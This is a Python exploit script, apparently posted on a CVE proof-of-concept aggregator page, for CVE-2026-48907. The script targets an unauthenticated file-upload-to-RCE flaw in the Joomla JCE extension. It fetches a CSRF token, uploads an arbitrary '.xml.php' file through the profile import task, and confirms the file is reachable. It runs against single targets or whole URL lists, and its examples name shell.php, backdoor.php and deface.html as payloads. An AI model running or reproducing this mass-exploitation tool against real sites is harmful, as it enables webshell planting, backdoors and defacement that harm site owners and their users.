5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2026-48907.py PY
#!/usr/bin/env python3
from random import randint
import re
from time import sleep
from requests import Session
import urllib3
import argparse
import sys
import os

# ============================================================
# CVE-2026-48907 Exploit - Custom File Upload
# ============================================================

RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
CYAN = '\033[96m'
BOLD = '\033[1m'
RESET = '\033[0m'

def read_custom_file(filepath):
    """Read the custom file content to upload"""
    try:
        with open(filepath, 'r') as f:
            return f.read()
    except FileNotFoundError:
        print(f"{RED}[!] File not found: {filepath}{RESET}")
        sys.exit(1)
    except Exception as e:
        print(f"{RED}[!] Error reading file: {e}{RESET}")
        sys.exit(1)

def exploit(url, payload_content, verbose=False):
    # Disable SSL verification warnings
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    # Generate random filename
    TMP_FILE = f"cve-2026-48907-{randint(1000, 9999)}.xml.php"
    PAYLOAD = payload_content
    
    s = Session()
    s.verify = False
    
    print(f"\n[{CYAN}+{RESET}] Target: {url}")
    print(f"[{CYAN}+{RESET}] Fetching CSRF token...")
    
    try:
        r = s.get(url + "/", timeout=15)
        if r.status_code != 200:
            print(f"[{RED}-{RESET}] Failed to access the target")
            return False
    except Exception as e:
        print(f"[{RED}-{RESET}] Connection error: {e}")
        return False
    
    # Find CSRF token
    m = re.search(r'"csrf\.token"\s*:\s*"([a-f0-9]{32})"', r.text) or re.search(
        r'<input[^>]*name="([a-f0-9]{32})"[^>]*value="1"', r.text, re.I
    )
    if m is None:
        print(f"[{RED}-{RESET}] Failed to find CSRF token")
        return False
    
    CSRF_TOKEN = m.group(1)
    print(f"[{CYAN}+{RESET}] CSRF Token: {CSRF_TOKEN}")
    
    # Upload the file
    print(f"[{CYAN}+{RESET}] Uploading file: {TMP_FILE}")
    try:
        r = s.post(
            url + "/index.php?option=com_jce",
            files={"profile_file": (TMP_FILE, PAYLOAD, "application/xml")},
            data={"task": "profiles.import", CSRF_TOKEN: "1"},
            timeout=15
        )
        
        if r.status_code != 200:
            print(f"[{RED}-{RESET}] Failed to import profile")
            print(f"[{GREEN}✓{RESET}] Not vulnerable to cve-2026-48907")
            return False
    except Exception as e:
        print(f"[{RED}-{RESET}] Upload error: {e}")
        return False
    
    print(f"[{CYAN}+{RESET}] Profile imported successfully!")
    
    # Test the uploaded file
    print(f"[{CYAN}+{RESET}] Testing uploaded file...")
    try:
        r = s.get(url + f"/tmp/{TMP_FILE}", timeout=15)
    except Exception as e:
        print(f"[{RED}-{RESET}] Error testing file: {e}")
        return False
    
    file_url = f"{url}/tmp/{TMP_FILE}"
    
    # Check if file was uploaded and accessible
    if r.status_code == 200:
        print(f"\n{'='*60}")
        print(f"{GREEN}[!!!!!] FILE UPLOADED SUCCESSFULLY!{RESET}")
        print(f"{GREEN}[!!!!!] Server IS VULNERABLE to CVE-2026-48907!{RESET}")
        print(f"{'='*60}")
        print(f"\n[{CYAN}+{RESET}] View your uploaded file: {file_url}")
        print(f"\n[{CYAN}+{RESET}] Quick access:")
        print(f"    curl \"{file_url}\"")
        return True
    else:
        print(f"\n{'='*60}")
        print(f"{GREEN}[✓] Not vulnerable to CVE-2026-48907{RESET}")
        print(f"{'='*60}")
        print(f"\n[{YELLOW}!{RESET}] File uploaded but may not be accessible.")
        print(f"[{YELLOW}!{RESET}] Try manually: {file_url}")
        return False

def main():
    parser = argparse.ArgumentParser(
        description='CVE-2026-48907 Exploit - Custom File Upload',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  python3 exploit.py -u http://target.com -F payload.php
  python3 exploit.py -f targets.txt -F shell.php
  python3 exploit.py -u http://target.com -F deface.html -v
  python3 exploit.py -f targets.txt -F backdoor.php -o results.txt
        """
    )
    
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument('-u', '--url', help='Single target URL (e.g., http://target.com)')
    group.add_argument('-f', '--file', help='File containing list of target URLs (one per line)')
    
    parser.add_argument('-F', '--upload-file', required=True, 
                       help='Custom file to upload (e.g., shell.php, deface.html)')
    parser.add_argument('-v', '--verbose', action='store_true', 
                       help='Enable verbose output')
    parser.add_argument('-o', '--output', 
                       help='Save successful upload URLs to file')
    
    args = parser.parse_args()
    
    # Read the custom file content
    payload_content = read_custom_file(args.upload_file)
    print(f"[{CYAN}+{RESET}] Loaded custom file: {args.upload_file} ({len(payload_content)} bytes)")
    
    # Build URL list
    if args.url:
        urls = [args.url.rstrip('/')]
    else:
        try:
            with open(args.file, 'r') as f:
                urls = [line.strip().rstrip('/') for line in f if line.strip() and not line.startswith("#")]
        except FileNotFoundError:
            print(f"{RED}[!] File not found: {args.file}{RESET}")
            sys.exit(1)
        except Exception as e:
            print(f"{RED}[!] Error reading file: {e}{RESET}")
            sys.exit(1)
        
        if not urls:
            print(f"{RED}[!] No targets found in file!{RESET}")
            sys.exit(1)
    
    # ─── RED ASCII BANNER ───
    ascii_banner = r"""
_____________   _______________         _______________   ________  ________            _____   ______  ________________________ 
\_   ___ \   \ /   /\_   _____/         \_____  \   _  \  \_____  \/  _____/           /  |  | /  __  \/   __   \   _  \______  \
/    \  \/\   Y   /  |    __)_   ______  /  ____/  /_\  \  /  ____/   __  \   ______  /   |  |_>      <\____    /  /_\  \  /    /
\     \____\     /   |        \ /_____/ /       \  \_/   \/       \  |__\  \ /_____/ /    ^   /   --   \  /    /\  \_/   \/    / 
 \______  / \___/   /_______  /         \_______ \_____  /\_______ \_____  /         \____   |\______  / /____/  \_____  /____/  
        \/                  \/                  \/     \/         \/     \/               |__|       \/                \/
"""
    print(RED + ascii_banner + RESET)
    print(f"\n{BOLD}{CYAN}Joomla! JCE extension < 2.9.99.5 Unauthenticated RCE{RESET}")
    print(f"{YELLOW}Author : 0xgh057r3c0n {RESET}\n")
    
    print(f"[*] Loaded {len(urls)} target(s)\n")
    
    # Open output file if specified
    if args.output:
        out_file = open(args.output, 'w')
        out_file.write(f"# CVE-2026-48907 - Successful Upload URLs\n")
        out_file.write(f"# Targets tested: {len(urls)}\n")
        out_file.write(f"# Uploaded file: {args.upload_file}\n\n")
    
    success_count = 0
    
    for i, url in enumerate(urls, 1):
        print(f"\n[{YELLOW}*{RESET}] Target {i}/{len(urls)}")
        print(f"[{YELLOW}*{RESET}] {'='*50}")
        
        result = exploit(url, payload_content, args.verbose)
        
        if result:
            success_count += 1
            upload_url = f"{url}/tmp/cve-2026-48907-*.xml.php"
            if args.output:
                out_file.write(f"{url}\n")
        
        if i < len(urls):
            print(f"\n[{YELLOW}*{RESET}] Moving to next target...")
    
    # Summary
    print(f"\n{'='*60}")
    print(f"{BOLD}Scan Complete!{RESET}")
    print(f"[*] Total targets: {len(urls)}")
    print(f"{GREEN}[+] Successfully uploaded: {success_count}{RESET}")
    if len(urls) - success_count > 0:
        print(f"{RED}[-] Failed: {len(urls) - success_count}{RESET}")
    print(f"{'='*60}")
    
    if args.output:
        out_file.write(f"\n# Successfully uploaded: {success_count}\n")
        out_file.close()
        print(f"\n[{CYAN}+{RESET}] Results saved to: {args.output}")
    
    if success_count > 0:
        sys.exit(0)
    else:
        sys.exit(1)

if __name__ == "__main__":
    main()